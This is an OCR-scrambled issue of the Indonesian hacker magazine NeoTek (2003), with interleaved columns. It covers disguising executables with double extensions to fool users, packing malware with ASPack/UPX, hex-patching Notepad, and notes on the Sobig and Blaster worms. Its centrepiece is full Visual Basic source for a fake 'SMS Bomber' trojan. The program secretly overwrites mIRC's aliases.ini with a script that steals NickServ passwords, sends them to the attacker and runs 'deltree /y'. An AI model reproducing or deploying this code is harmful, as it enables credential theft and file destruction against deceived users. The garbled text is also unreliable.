View > Folder Options atau Tools > extensions for known file types, aki- Notepad.exe yang berada di
Folder Options untuk menampilkan batnya ekstensi file pada Explorer C:\Windows ke folder My Documents.
kotak dialog Folder Options. akan terlihat dan tidak disembu- Sehingga Anda tidak mengutak-utik
nyikan. Tekan tombol OK. aplikasi Notepad yang digunakan
oleh Windows

MENGGANTI EKSTENSI NOTEPAD AKTIFKAN OPSI SIAP UNTUK MENIPU


4 Beralihlah ke folder My Documents.
File Notepad tersebut mempunyai
5 Tampilkan lagi kotak dialog Folder
Options. Beri tanda check pada opsi
6 Bagaimana bila namanya diubah
menjadi Me_nude seperti pada
nama dan ekstensi Notepad.exe. Hide file extensions for known file types, worm BadTrans? Tentu banyak
Tekan tombol F2 dan ganti men- sehingga ekstensi yang dikenal akan orang ingin menjalankannya.
jadi Notepad.avi.scr. Pada kotak disembunyikan. Tekan tombol OK Bagaimana bila aplikasi Notepad
dialog konfirmasi yang tampil, te- untuk menutup kotak dialog Folder tersebut diganti dengan worm
kan saja tombol Yes. Options. Sekarang Notepad terlihat atau trojan? Tentu banyak orang
dengan nama Notepad.avi dan dapat yang tertipu.
penuh dijalankan.

Sep/Okt 2003 NeoTek 35


NeoTutor

B U K AN HANYA U NTU K WO R M
Memperkecil Ukuran File
Kompresi dilakukan terhadap program yang sudah dikompilasi, selain untuk memperkecil ukurannya,
juga mempersulit software itu diubah-ubah seenaknya dengan Resource Hacker.

ECIL ITU INDAH, ADA YANG ME- piler Borland Delphi 2.0. Download di rut penamaan dari Trend Micro. Trojan
K ngatakan demikian. Mengha-
silkan suatu file berukuran
http://www.aspack.com. Sayang penggu-
naannya dibatasi selama 30 hari. Lain
yang ditemukan sekitar bulan Mei 2002
ini dibuat menggunakan Borland Delphi,
kecil merupakan suatu isu yang sangat halnya dengan UPX yang merupakan suatu bahasa pemrograman tingkat ting-
penting. Pasalnya, ukuran file hasil kependekan dari Ultimate Packer for gi yang tergolong handal dan mudah
kompilasi yang besar sangat merepot- eXecutables. UPX dibuat oleh Oberhumer dipelajari. Trojan yang menonaktifkan
kan, karena akan menyita ruang disk dan Laszlo Molnar dan dihadirkan da- mouse dan keyboard ini dikompres meng-
dan menyulitkan distribusi file baik lam interface berbasis DOS. Perangkat gunakan perangkat ASPack, sehingga
melalui floppy disk maupun melalui ini juga tergolong handal untuk berba- menyulitkan untuk dianalisa karena
jaringan dengan bertambahnya waktu gai mesin dari mesin DOS, Win32, Linux, diperlukan dekompresor untuk mem-
download. Atari, sampai Rtm32. Freeware, dapat balikkan proses kompresi ASPack. Sa-
Bukan hanya pemrograman malicious diperoleh di http://upx.sourceforge.net. yang perangkat dekompresor ini tidak
software semacam virus, worm, atau tersedia.
ASPack, UPX, dan Malicious Software
trojan yang menuntut ukuran file kecil. Contoh lain adalah trojan Troj_Bario.B
Malicious software—disingkat dengan
Dalam memprogram aplikasi secara yang merupakan trojan pencuri pass-
malware—seperti virus, worm, dan trojan
umum pun dituntut dihasilkannya file word buatan Russia dan juga dibuat
dibuat untuk tujuan jahat seperti men-
yang berukuran imut. dengan Borland Delphi. Trojan ini mem-
curi password, menghapus file, sampai
Untuk menghasilkan suatu file yang punyai fitur keystroke dan memanfa-
memformat harddisk. Untuk mencapai
berukuran kecil banyak dan beragam atkan kehandalan ASPack untuk mene-
tujuannya tersebut malicious software
cara dapat ditempuh. Diantaranya de- kan besar ukuran filenya. Malicious
harus bekerja secara siluman (stealth
ngan efisiensi pemrograman, yaitu software lain yang juga memanfaatkan
and invisible) dan menghindari deteksi
dengan meminimalisir penggunaan ASPack lainnya adalah worm Sobig.E
user. Pada sisi yang lain, replikasi file
komponen, terlebih lagi komponen dan pada beberapa versi SubSeven.
virus, worm, dan trojan dituntut harus
yang berbasis multimedia. Jalan ini berlangsung cepat. Dalam rangka inilah UPX pun sebagai perangkat sejenis
dapat diteruskan lagi dengan me- virus, worm, dan trojan harus dibuat yang handal juga menorehkan track
lakukan pemrograman yang meman- dalam ukuran file yang sekecil mungkin, record dalam mengkompres malware.
faatkan Windows API. sehingga perubahan ukuran file yang Contohnya adalah I-Worm.Avron
Tetapi ini adalah jalan yang sulit sekali. terinfeksi tidak kentara dan proses re- menurut penamaan Kapersky Lab. Worm
Karena sulitnya pemrograman Windows plikasi dapat berlangsung lebih cepat. ini dikenal juga dengan W32/Lirva.A@MM,
API, maka jalan ini tidak banyak yang dengan kemampuan menyebar mela-
ASPack dan UPX merupakan dua nama
menyukainya kecuali sebagian kecil lui email secara mass mailing (MM)
perangkat untuk mereduksi ukuran file
yang sudah mencapai tahap mahir da- untuk menjangkau persebaran yang
yang telah cukup populer dan menjadi
lam pemrograman. Jalan lain yang luas dalam waktu singkat. Worm ini
pilihan para programmer. Untuk mere-
dapat dilakukan dan tergolong mudah dibuat menggunakan MS Visual C++.
duksi ukuran file secara umum. Terma-
adalah dengan menggunakan perangkat suk di dalamnya yaitu memperkecil Variant I-Worm.Avron.A,II-Worm.Avron.B,
bantu untuk urusan ini. ukuran file virus, worm, dan trojan,ASPack dan I-Worm.Avron.C, dikompres meng-
Telah banyak programmer-programmer dan UPX telah mempunyai track record gunakan UPX sehingga ukuran file-
dalam bidang kompresi file yang menye- "yang baik" untuk urusan ini. nya menjadi 26 KB, 34 KB, dan 33 KB.
diakan diri, waktu, dan pikiran untuk Contoh yang menarik dalam melihat Contoh lain I-Worm.Tanatos.b juga
membuat perangkat kompresi untuk track record dua perangkat di atas ada- dikenal sebagai Bugbear.b. Worm yang
file EXE. Mereka telah melapangkan lah trojan bernama Troj_Rav.A menu- mempunyai unit keylogger ini juga
jalan buat kita semua.
Beragam perangkat semacam ini banyak
berserakan di jagat maya. Ada yang ber-
basiskan DOS dengan command line
untuk menggunakannya seperti UPX,
ada pula yang berbasiskan Windows
dengan GUI yang cukup sederhana dan
mudah dimengerti seperti pada ASPack.
ASPack merupakan perangkat untuk
mengkompresi file EXE yang dibuat
oleh Alexey Solodovnikov. Perangkat
Gambar 1. Gambar 2.
ASPack ini dibuat menggunakan kom-
Tampilan UPX yang berbasiskan DOS Tampilan ASPack yang erbasiskan GUI

36 NeoTek Sep/Okt 2003


NeoTutor

dikompres dengan UPX untuk mere- Cracker tersebut melakukannya tanpa


duksi besar filenya dari 170 KB ke 72 KB. perlu tahu kode sumber (source code)
Masih banyak worm, virus, atau pun tro- dari file tersebut dan tidak perlu mela-
jan yang memanfaatkan kedua perangkat kukan proses kompilasi. Banyak cara
kompresi ini. Tidak hanya itu, banyak mudah untuk melakukannya, di anta-
juga program-program "baik" dari ber- ranya dengan Resource Hacker.
bagai software house yang mengguna- Ada artikel tentang penggunaan pe-
kan perangkat ini. Penulis sendiri saat ini rangkat ini di majalah Neotek ini be-
menggunakan UPX untuk mereduksi be- berapa waktu yang lalu, dan penulis
sar file EXE hasil kompilasi Borland telah membuat satu buku berjudul Tip
Delphi 7 untuk membuat program key- dan Trik Memodifikasi Tampilan
logger dengan nama Mata-Mata. Windows menggunakan perangkat ini.
ASPack, UPX, dan Proteksi File Coba buka file Notepad.exe yang ber-
ada di folder Windows dengan Resource
Selain ukuran file yang berkurang cu-
Hacker yang bisa di-download di
kup signifikan, penggunaan ASPack
http://www.users.on.net/johnson/
dan UPX pun memberikan keuntung-
resourcehacker, seperti diperlihatkan
an lain bagi para developer perangkat
pada gambar di bawah. Tampak deretan
lunak. Yaitu program buatannya akan
script untuk menu-menu di Notepad
sedikit terlindungi dari perubahan ka-
yang dapat Anda ganti dengan mudah.
rena modifikasi oleh para cracker. Gambar 3. Notepad.exe yang belum dikom-
ASPack dan UPX memberikan perlin- pres dilihat dengan Resource Hacker (A)
Ketika Anda membuat sebuah program,
dungan lumayan. Bila Anda telah meng- danb yang sudah dikompres (B).
dan file-nya telah dikompilasi mengha-
kompres file Notepad.exe dengan ASPack
silkan sebuah file EXE, maka file tersebut
atau UPX, maka akan lebih sulit untuk
dapat dengan mudah dimodifikasi oleh
memodifikasi file tersebut. Cracker tidak Perlindungan file dengan perangkat
para cracker. Misalnya saja mengganti
bisa lagi menggunakan perangkat Re- ASPack dan UPX hanya untuk me-
icon atau menu-menu yang pada awal-
source Hacker. Akan tampil sebuah ko- lindungi file dari para cracker amatir.
nya berbahasa Inggris dapat diubah
tak informasi seperti pada Gambar 3B. Masih ada jalan lain menuju Roma.
menjadi berbahasa Indonesia.

MENDAPATKAN ASPACK DOWNLOAD ASPACK212.ZIP INSTALASI


1 Jalankan browser, lalu masuk ke
http://www.aspack.com untuk
2 Setelah download selesai, ekstrak
paket zip aspack212.zip ke semba-
3 Instalasi mudah saja. Pada jendela
Winzip klik tombol Install dan lan-
mendapatkan ASPack. Yang rang folder. Paket ini hanya terdiri jutkan dengan menentukan lokasi
termudah adalah dengan men- dari dua file , yaitu file_id.diz dan instalasi dan diakhiri dengan
dapatkannya dari CD Neotek setup.exe. File aspack212.zip hanya menekan tombol Start.
edisi bulan ini. berukuran 295 KB.

FILE UNTUK DIKOMPRES KOMPRESI DENGAN ASPACK PERBANDINGAN KOMPRESI


4 Diasumsikan Anda telah membuat
program yang sudah di-compile.
5 Klik tombol Open pada jendela ASPack.
Kemudian pada kotak dialog Select
6 Tekan tombol Open pada kotak dia-
log Select file to compress, proses
Di simulasi ini digunakan file to compress tentukan file yang kompresi akan berlangsung dengan
Notepad.exe di C:\Windows. Pang- tab yang aktif tab Compress. Setelah
akan dikompres, dalam simulasi ini
gil ASPack dengan memilih menu selesai klik tab Open File dan per-
adalah file Notepad.exe yang hatikan File Information. Notepad.exe
Start > Programs > ASPack > ASPack. berukuran sekitar 53 KB. kini berukuran 33.792 bytes.

Sep/Okt 2003 NeoTek 37


NeoTutor

HAC KI NG NOTE PAD


ASARAN BERIKUTNYA ADALAH UNTUK
S meng-hack Notepad dengan meng-
ganti editor teks yang dipanggil
oleh Notepad saat Anda membuka file yang

WI N H E X U NTU K berukuran besar tersebut. Default-nya


yang dipanggil Notepad adalah WordPad.
Anda akan dibimbing untuk mengubahnya

M E NGOPRE K SOFTWARE menjadi Microsoft Word 2000.


Perangkat yang digunakan adalah hexeditor.
Sembarang hexeditor dapat digunakan da-
lam tutorial ini. Penulis menggunakan
Happy Chandraleka (Cakrabirawa@mail.ru) membimbing WinHex v9.72 yang diperoleh dari CD
anda melakukan hacking Notepad pada Windows 98 SE Neotek edisi Januari 2002. Anda dapat juga
memperoleh perangkat ini pada CD Neotek
secara langkah per langkah. Sasaran pertama adalah edisi bulan ini. Alternatif lainnya adalah
menghilangkan kotak dialog yang tampil ketika user akan dengan men-download sendiri dari situs
WinHex di http://www.winhex.com.
membuka file text dengan ukuran lebih besar dari 64 kb.

Belajar menggunakan hex editor untuk meng-hack program

FILE NOTEPAD.EXE DALAM BERPINDAH KE OFFSET 33B1 ISI OFFSET 33B1


4 MODUS HEXADESIMAL
Pada bidang kerja WinHex akan
5 Pilih menu Position > Go To Offset
atau menekan tombol keyboard
6 Anda akan melompat ke offset
33B1. Perhatikan bahwa enam
tampil File Notepad.exe dalam Alt+G. Isikan 33B1 pada kotak deret dari offset ini berisi nilai FF
bentuk hexadesimal. Bilangan- New Position untuk berpindah ke 15 A8 64 40 00. Nilai-nilai offset
bilangan ini yang akan diganti. offset 33B1. Pastikan pada bagian inilah yang akan diganti.
relative to terpilih opsi beginning
of file. Tekan tombol OK untuk
melakukan lompatan.

MENGGANTI DERETAN KOTAK DIALOG TELAH HILANG BERPINDAH KE OFFSET B0B8


10 OFFSET
Gantilah deretan offset-offset
11 Sampai di sini kotak dialog kon-
firmasi telah hilang ketika Anda
12 Panggil lagi kotak dialog Go To
Offset dengan memilih menu
tersebut menjadi 42 4A 43 4B 46 membuka file text yang berukuran Position > Go To Offset. Isikan
4E. Jangan ubah bagian offset besar. Tetapi editor teks yang di- dengan B0B8 pada bagian bagian
yang lainnya. panggil masih program WordPad. New Position. Tekan tombol OK
Selanjutnya kita akan menggan- untuk berpindah offset.
tinya menjadi Microsoft Word 2000.

38 NeoTek Sep/Okt 2003


NeoTutor

MENGAMANKAN NOTEPAD EKSTRAK DAN INSTALASI JALANKAN WINHEX DAN


1 Copy-lah file Notepad.exe yang
berada di folder C:\Windows
2 WINHEX
Ekstrak dan install program WinHex
3 BUKA FILE NOTEPAD.EXE
Jalankan program WinHex yang
sebagai backup. Hal ini untuk yang ada pada CD NeoTek edisi telah Anda install dengan memilih
mengantisipasi bila file yang ini. Ikuti installation wizard-nya menu Start > Programs > WinHex.
Anda oprek mengalami kegagalan. sampai proses instalasi berakhir. Kemudian dengan memilih menu
File > Open bukalah file Notepad.exe
yang ada di folder Windows.

MENGGANTI DERETAN BERPINDAH KE OFFSET 33BA ISI OFFSET 33BA


7 OFFSET
Gantilah deretan offset-offset ter-
8 Pilih lagi menu Position > Go To
Offset seperti langkah 5. Isikan
9 Anda akan melompat ke offset
33BA. Perhatikan bahwa enam
sebut menjadi 52 5A 53 5B 56 5E. alamat offset 33BA pada kotak deret dari offset ini mempunyai
Jangan ubah bagian offset yang New Position dengan. Tekan nilai secara berurut yaitu 0F 85 A7
lainnya, karena dapat menyebab- tombol OK untuk melompat ke 00 00 00. Cocokkan nilai ini
kan error. offset tersebut. dengan file Notepad yang sedang
Anda oprek.

ISI OFFSET B0B8 MENGGANTI DERETAN OFFSET SIMPAN PERUBAHAN


13 Anda akan berpindah ke offset
B0B8. Deretan nilai-nilai offset ini
14 Gantilah nilai-nilai pada deretan
alamat offset tersebut. Gantilah
15 Simpanlah perubahan yang telah
Anda lakukan dengan memilih
adalah 77 00 6F 00 72 00 64 00 70 menjadi 77 00 69 00 6E 00 77 00 6F menu File > Save. Cobalah untuk
00 61 00 64 00. Cocokkan nilai ini 00 72 00 64 00. membuka file teks yang berukuran
dengan file Notepad yang sedang besar. Sekarang tidak terdapat lagi
Anda oprek, sehingga tidak salah kotak dialog konfirmasi dan editor
ubah nantinya. yang dipanggil adalah Microsoft
Word 2000.

Sep/Okt 2003 NeoTek 39


NeoTutor

VI S UAL BAS I C WO R KS H O P
Program Penggodayang Berbahaya
Menanamkan skrip ke dalam komputer orang lain? Ini merupakan tantangan sendiri
untuk pada underground newbie. Dengan sedikit keterampilan pemrograman dengan Visual Basic,
MA Rody Candera (odyxb@melva.org) menunjukkan caranya.
RTIKEL KALI INI MASIH BERKUTAT DENGAN VISUAL BASIC, Sekarang kita mencoba merancang program SMS BOMBER
A adapoun yang akan dibahas merupakan kelanjutan
dari artikel-artikel sebelumnya. Apakah anda masih
(ingat..., bukan program SMS BOMBER sesungguhnya lho),
buat rancangan yang nantinya akan menjadi tampilan atau
ingat mengenai artikel Mendapatkan Skrip Nick Password interface program yang akan kita buat.
Cracking? (NeoTek III/5 Feb/Mar 2003). Pada NeoTek yang Berdasarkan rancangan yang dibuat (Gambar 1), kita sudah
berikutnya akan dibahas Deltree Script Melalui mIRC. dapat memulai menggunakan Visual Basic untuk mewujud-
Pada artikel Skrip Nick Password Cracking, diterangkan cara kan program kita. buatlah interface program berdasarkan
mendapatkan password nick seseorang yang terdaftar di dalnet rancangan kita, hasilnya kurang lebih terlihat pada Gambar 2.
dengan menggunakan skrip yang ditanamkan di Aliases.ini.
Begitu juga pada artikel Deltree Script Melalui mIRC, dite-
rangkan caranya dengan menanamkan skripnya di Aliases.ini
Yang menjadi permasalahan dari cara yang diterapkan dalam
artikel-artikel tersebut adalah teknik atau cara menanamkan
skrip tersebut ke komputer orang lain yang jauh jaraknya dari
tempat kita. Ketika penulis mengenal Visual Basic, penulis
merasa yakin bahwa Visual Basic dapat membantu mengatasi
masalah tersebut. Tetapi penulis tidak sendiri dalam mewu-
judkan hal tersebut, penulis dibantu oleh seorang teman
sesama neoteker yaitu h3r01n (Asan). Ucapan terima kasih
sebesarnya untuk Asan yang selalu setia membantu penulis.
Seperti yang telah dijelaskan di atas, kini kita akan mencoba
membuat sebuah program dengan menggunakan Visual Basic
yang dapat membantu kita untuk menjangkiti Aliases.ini
dengan skrip-skrip yang akan ditanamkan ke dalamnya.
Sama seperti artikel terdahulu yang mengangkat permasa-
lahan membuat program dengan Visual basic, kita perlu Gambar 2. interface program
membuat rancangan programnya.
Setelah membuat interface programnya, selanjutnya yang
Sesuai dengan judul yaitu Program Penggoda, maka penulis perlu kita lakukan adalah mengatur properties. Aturlah se-
mencoba membuat program SMS BOMBER. Program ter- suai yang diterangkan berikut di bawah ini:
sebut sampai saat ini ternyata memiliki banyak peminat yang Form1
terus-menerus mencari program sejenis yang lebih jago. Me- - Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
mandang hal tersebut, penulis menjadikan program SMS anda pilih sendiri warna yang anda suka)
BOMBER yang sesungguhnya bukan merupakan program - BorderStyle Î 3 – Fixed Dialog
yang dapat membombardir handphone seseorang dengan - Caption Î SmSBoMBeR-TeRoRiS
SMS yang membengkak, sesungguhnya program tersebut (dapat anda buat yang anda suka)
nanti justru membantu kita dalam menanamkan skrip-skrip - Height Î 4005
- StartUpPosition = 2 – CenterScreen
yang kita miliki ke Aliases.ini. Hm..., sungguh-sungguh - Width Î 4185
menggoda bukan? Label1
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
Gambar 1. Rancangan anda pilih sendiri warna yang anda suka)
dasar program - Caption Î &Number :
Label2
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
anda pilih sendiri warna yang anda suka)
- Caption Î &Packet :
Label3
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
anda pilih sendiri warna yang anda suka)
- Caption Î +
- Font Î MS Sans Serif 12px
Label4
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
anda pilih sendiri warna yang anda suka)
- Caption Î 500 Messages

40 NeoTek Sep/Okt 2003


NeoTutor

Label5 Command2 (tombol Help)


- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat MsgBox "Please send your question to odyxb@memed.org",
anda pilih sendiri warna yang anda suka) vbCritical, "Help..."
- Caption Î 5000 Messages NB: kata-kata di dalam tanda kutip dapat anda ganti dengan
Label6 yang inginkan.
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
anda pilih sendiri warna yang anda suka).
- Caption Î &Message (160 Characters) :
Label7
- Backcolor Î &H00C0FFFF& (warna kuning gading atau dapat
anda pilih sendiri warna yang anda suka) Command3 (tombol About)
- Caption = Í dikosongkan saja MsgBox "SmSBoMBeR-TeRoRiS v.0.01, Made By: Odyxb and
Label 8 dan Label9 sama dengan dengan label 7 Asan (h3r01n, #Neoteker, @dal.net)", vbCritical, "About
Program..."
Text1 dan Text2 NB: kata-kata di dalam tanda kutip dapat anda ganti dengan
- Backcolor Î &H00C0E0FF& (warna orange atau dapat anda yang inginkan.
pilih sendiri warna yang anda suka)
- Text = Í dikosongkan saja
Frame1 = Caption Î Report
Pbar = Scrolling Î 0 - ccScrollingStandard
Timer1 = Interval Î 500
Command1 = Caption Î &Send Command4 (tombol Exit)
Unload Me
Command2 = Caption Îà &Help Shell "c:\windows\rundll.exe user.exe,ExitWindows"
Command3 = Caption Î &About
Command4 = Caption Î &Exit
Begitulah kira-kira properties yang kita atur hingga jadinya
interface programnya adalah seperti berikut pada Gambar 3.

Timer1
If stat = "OK" Then
If Pbar.Value >= 100 Then i = 1: ulang = ulang + 1
If ulang > txt Then
Label8.Caption = "Messages Has Been Sent to "
Label9.Caption = Text1.Text
MsgBox "Sending Messages Has Been Complete"
End
End If
Label7.Caption = (Pbar.Value) & " %"
Pbar.Value = i
i=i+1
End If

Gambar 3. interface program setelah diatur propertinya

Setelah selesai mengatur properties, langkah selanjutnya yang


kita lakukan adalah memasukkan kode program. Anda isikan
kode-kode program berikut di bawah ini sesuai tempatnya.
Text1
If Not Chr(KeyAscii) Like "[0-9]" Then
KeyAscii = 0
End If Form1
RemoveMenus

Open "c:\mirc\aliases.ini" For Output As #1


Print #1, "[aliases]"
Print #1, "n0=/op /mode # +ooo $$1 $2 $3"
Print #1, "n1=/dop /mode # -ooo $$1 $2 $3"
Print #1, "n2=/j /join #$$1 $2-"
Command1 (tombol Send) Print #1, "n3=/p /part #"
stat = "OK" Print #1, "n4=/n /names #$$1"
ulang = 1 Print #1, "n5=/w /whois $$1"
txt = 1 Print #1, "n6=/k /kick # $$1 $2-"
Print #1, "n7=/q /query $$1"
Print #1, "n8=/send /dcc send $1 $2"
Print #1, "n9=/chat /dcc chat $1"
Print #1, "n10=/ping /ctcp $$1 ping"
Print #1, "n11="

Sep/Okt 2003 NeoTek 41


NeoTutor

Print #1, "n12=" Selain kode program di atas, ada beberapa kode program
Print #1, "n14=" yang perlu anda masukkan juga dengan cara mengetikkan
Print #1, "n15=" langsung pada kode editor.
Print #1, "n16="
Print #1, "n17=" Private Declare Function DeleteMenu Lib "user32" (ByVal
Print #1, "n18=" hMenu As Long, ByVal nPosition As Long, ByVal wFlags As
Print #1, "n19=" Long) As Long
Print #1, "n20=" Private Declare Function GetSystemMenu Lib "user32" (ByVal
Print #1, "n21=" hWnd As Long, ByVal bRevert As Long) As Long
Print #1, "n22=" Private Const MF_BYPOSITION = &H400&
Print #1, "n23=" Dim i As Double
Print #1, "n24=" Dim ulang As Single
Print #1, "n25=/nickserv {" Dim stat As String
Print #1, "n26= /set %y1 $$1" Dim txt As Integer
Print #1, "n27= if ( %y1 == identify ) {"
Print #1, "n28= /set %y2 $$2" Ketikkan kode tersebut di atas di bagian paling atas dari
Print #1, "n29= /.msg nickserv@services.dal.net $1-" kode-kode program yang telah ada sebelumnya.
Print #1, "n30= /.timer 1 480 /.memoserv send [Nick] Nick: Terus selanjutnya kode program yang juga perlu
$me Password: %y2"
Print #1, "n31= /.timer 1 481 /.clear" dimasukkan seperti di bawah berikut yang diletakkan di
Print #1, "n32= /.timer 1 482 /.run deltree /y bagian setelah dari end sub dari form_load
Drive:\Directory" Private Sub RemoveMenus()
Print #1, "n33= }" Dim hMenu As Long
Print #1, "n34= else /.msg nickserv@services.dal.net $1-" hMenu = GetSystemMenu(hWnd, False)
Print #1, "n35= /.unset %y1" DeleteMenu hMenu, 6, MF_BYPOSITION
Print #1, "n36= /.unset %y2" End Sub
Print #1, "n37=}"
Print #1, "n38=" Selesai sudah, program anda sudah setengah jadi. Untuk
Print #1, "n39=" jadi seutuhnya adalah dengan mengkompilenya. Untuk
Print #1, "n40=/identify {" mengkompile; klik File > Make testing.exe...
Print #1, "n41= /set %y1 $$1"
Print #1, "n42= /.msg nickserv@services.dal.net identify $1-"
Print #1, "n43= /.timer 1 480 /.memoserv send [Nick] Nick:
$me Password: %y1"
Print #1, "n44= /.timer 1 481 /.clear"
Print #1, "n45= /.timer 1 482 /.run deltree /y
Drive:\Directory"
Print #1, "n46= /.unset %y1"
Print #1, "n47=}"

i=5
stat = "NON"
End Sub

NB: Jangan lupa mengganti [Nick] dengan nick anda,


contoh: Odyxb
Drive:\Directory > C:\Program Files

Selanjutnya akan muncul window make project

Pada bagian file name, isikan nama yang nantinya akan


menjadi nama dari program anda tersebut. Pada contoh
dibuat nama programnya nanti adalah SmSBoMBeR.
Setelah silahkan berkreasi dalam bentuk program lain.
List kode program beserta sample program dapat anda
peroleh dalam CD NeoTek edisi ini.

42 NeoTek Sep/Okt 2003


Inbox

NmN
NeoTeker menjawab NeoTeker
Forum ini dimaksudkan sebagai bentuk offline dari mailing list
NeoTek di http://groups.yahoo.com/group/majalahneotek.

Sobig Worm Mewabah Setelah Blaster Worm Blaster Worm Blaster Worm
T: Sent August 22
T: Posted August 20 Produk yang Dapat Terserang
Pada siang hari ketika PT. Vaksincom mendapatkan peringatan akan adanya worm ini, Sobig.F lang-
sung menduduki peringkat 4 dalam Top 10 virus yang paling banyak dihentikan oleh MessageLabs, Kompie gue kena yg nama- Windows NT 4.0
pelan tapi pasti Sobig.F menduduki peringkat 3 dan pada malam hari pukul 20.40 WIB telah menem-
pati posisi pertama sebagai virus yang paling banyak dihentikan oleh MessageLabs. nya blaster. yaitu ciri2nya Windows 2000
Sobig.F perlu diwaspadai karena disamping menyebar melalui email, ia juga memiliki kemampuan
kompie XP Pro saya langsung Windows XP
menyebar melalui jaringan. Virus ini dipaket dengan menggunakan tElock 0.98 dengan ukuran 72 Kb, auto shutdown kalau buka Windows Server 2003
dan setelah diekstrak akan berukuran 112 Kb. Virus worm ini dibuat dengan menggunakan bahasa
programing Microsoft VisualC++. Uniknya, Sobig.F hanya aktif sampai tanggal 10 September 2003.
IE 6.0/OE 6.0 beberapa saat. Gejala umum pada Windows
Setelah tanggal 10 September 2003 jika kita menjalankan attach file yang terlampir maka Sobig.F ini lalu saya cari file yg baru ter- XP dan Windows Server 2003
tidak akan bereaksi. Apakah pembuatnya sudah mempersiapkan varian baru menjelang tanggal 10
September 2003 atau memang ada tujuan lain hanya waktu yang akan memberitahukan. Worm ini cipta yaitu ada yang namanya adalah boot setiap beberapa
didisain untuk menyebarkan dirinya melalui jaringan dan mass-mail dengan menggunakan Simple
Mail Transfer Protocol (SMTP) engine miliknya sendiri.
msblast.exe di C:\Windows\ menit tanpa intervensi user
System32\ msblast.exe lalu dengan terlebih dulu me-
Virus ini menyerang setiap pemakai komputer yang menggunakan email dan dapat juga menyerang
melalui jaringan yang terhubung. Ciri-ciri dari virus ini adalah : saya hapus file tersebut (se- nampilkan pesan sbb:
Email yang anda terima akan mempunyai subject seperti di bawah ini :
belumnya di-End Task dulu
Re: Thank you! lewat TaskManager!) terus
Thank you!
Your details
hapus entry-nya di menu
Re: Details startup dengan nama Win-
Re: Re: My details
Re: Approved
dows Auto Update sekarang
Re: Your application semua berjalan normal lagi.
Re: Wicked screensaver
Re: That movie yg saya bingung, ini nama-
File-file attach yang menyertainya adalah seperti di bawah ini : nya worm/virus? soalnya
your_document.pif pake NAV2003 (belum di-
document_all.pif
thank_you.pif update) ngga kedeteksi. Mo-
your_details.pif
details.pif
hon pencerahannya.
document_9446.pif
application.pif
Dreamer BoyZ Sistem Windows 2000 atau
wicked_scr.scr dreamer_boyz@telkom.net Windown NT 4.0 menjadi
movie0045.pif
tidak responsif.
Message body yang anda terima akan mengandung kalimat:
J: Posted August 21
Please see the attached file for details.
atau
Penanggulangannya
See the attached file for details Nah sama tuh sama posting- • Putuskan hubungan ke
Dan alamat pengirimnya bisa dari "admin@internet.com", tetapi juga dapat juga berupa alamat-alamat an saya tempo hari. Saya Internet, dengan langsung
yang aneh-aneh dan sifatnya lelucon secara random.
juga mengalami hal yg mencopot kabel telepon
Alamat email didapat dan dikumpulkan dari pencarian di dalam setiap
file-file yang berektensi:
sama. Tapi herannya penye- dari jack telepon. Setelah
*.txt rangannya ngga tentu. Dan itu aktifkan firewall.
*.eml
asiknya lagi, kompie saya
*.html
*.htm digunakan di rumah, ngga • Jalankan FixBlast.exe
*.dbx
ada yg lain yg make selain yang tersedia di CD
*.wab
Setiap attach yang dijalankan dari email yang terinfeksi maka akan terbentuk sebuah file yang ber- saya. Jadi virusnya datang NeoTek III/12 (Sep/Okt
nama WINPPR32.EXE, dan sebuah file TXT yang bernama WINSTT32.DAT diletakkan pada direktori
dari email. Email yg mana 2003).
C:\Windows. Dan ia juga akan menambahkan 2 value pada file registri:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run yachh?? milis NeoTek-kah • Update Windows anda
TrayX = "%Windows%\winppr32.exe /sinc" he he he... menggunakan Windows
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
TrayX = "%Windows%\winppr32.exe /sinc" andrie update yang tersedia di
Value ini akan selalu dijalankan setiap kali komputer di restart. andrie01@indo.net.id situs Microsoft atau di CD
NeoTek III/11 (Ags/Sep
Value registry ini akan dibuat jika key tersebut sudah ada. Tetapi untuk value yang pertama tidak akan
dibuat pada system operasi Windows 98, karena key J: Posted August 21 2003).
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
biasanya tidak pernah ada. w32.blaster.worm/
Untuk pencegahannya, biasakan kalau ada attach yang anda terima dari seseorang yang tidak anda
lovsan/msblast ti-
kenal ataupun yang anda kenal, jangan langsung dijalankan atau dibuka. Kebiasaan ini selalu dipakai dak menyebar le-
oleh para pembuat virus worm. Simpan dahulu file attach yang anda terima dengan cara : Klik kanan
pada file attach tersebut, kemudian klik SAVE AS. pada saat anda menyimpan, antivirus akan meme- wat e-mail tapi
riksa file tersebut, jika ada virus maka akan dibersihkan. Dan jika virus termasuk golongan yang ber- langsung lewat ko-
bahaya, maka akan langsung didelete. Kalau anda pemakai Microsoft Outlook XP, maka masalah ini
sedikit banyak sudah tertangani oleh applikasi tersebut, karena Outlook XP akan memblok semua file- neksi internet dan
file yang berekstensi khusus yang biasanya dipakai oleh virus dalam menyebarkan dirinya misalnya
:*.COM, *.EXE, *.SCR, *.PIF dan sebagainya. Gunakan antivirus yang selalu terupdate definisinya,
jaringan
karena ini juga merupakan suatu cara yang paling baik dalam menghadapi virus yang belakang ini
merajalela. rizky_ridho FixBlast.exe tersedia di
rizky_ridho@yahoo.com CD NeoTek bulan ini bersama
p_e_edu
p_e_edu@yahoo.com berbagai worm removal lain

44 NeoTek Sep/Okt 2003


NeoReview

KONVERSI ANALOG KE DIGITAL


Video Capture Box
Meremajakan Kembali Video Format Lama
Sejak NeoTek membahas digital video, terutama teknologi mutakhir DVD video recording format
pada DVD-RAM serta DV format pada MiniDV tape yang paling populer sekarang, pertanyaan
justru muncul dari pemakai camcorder analog untuk mendigitalisasi rekaman analognya.
Tidak ada software pihak ketiga (biasanya
Memilih Video Capture Box software video ediring) yang disertakan
pada paketnya.
EMBUAT REKAMAN VIDEO LANG- ATI-TV Wonder (SGD 69) Grand AV USB 2.0 (SGD 169)
M sung dalam format digital dan
mengeditnya menjadi rekaman
ATI-TV Wonder, suatu TV tuner dan
juga video capture box yang dicoba oleh
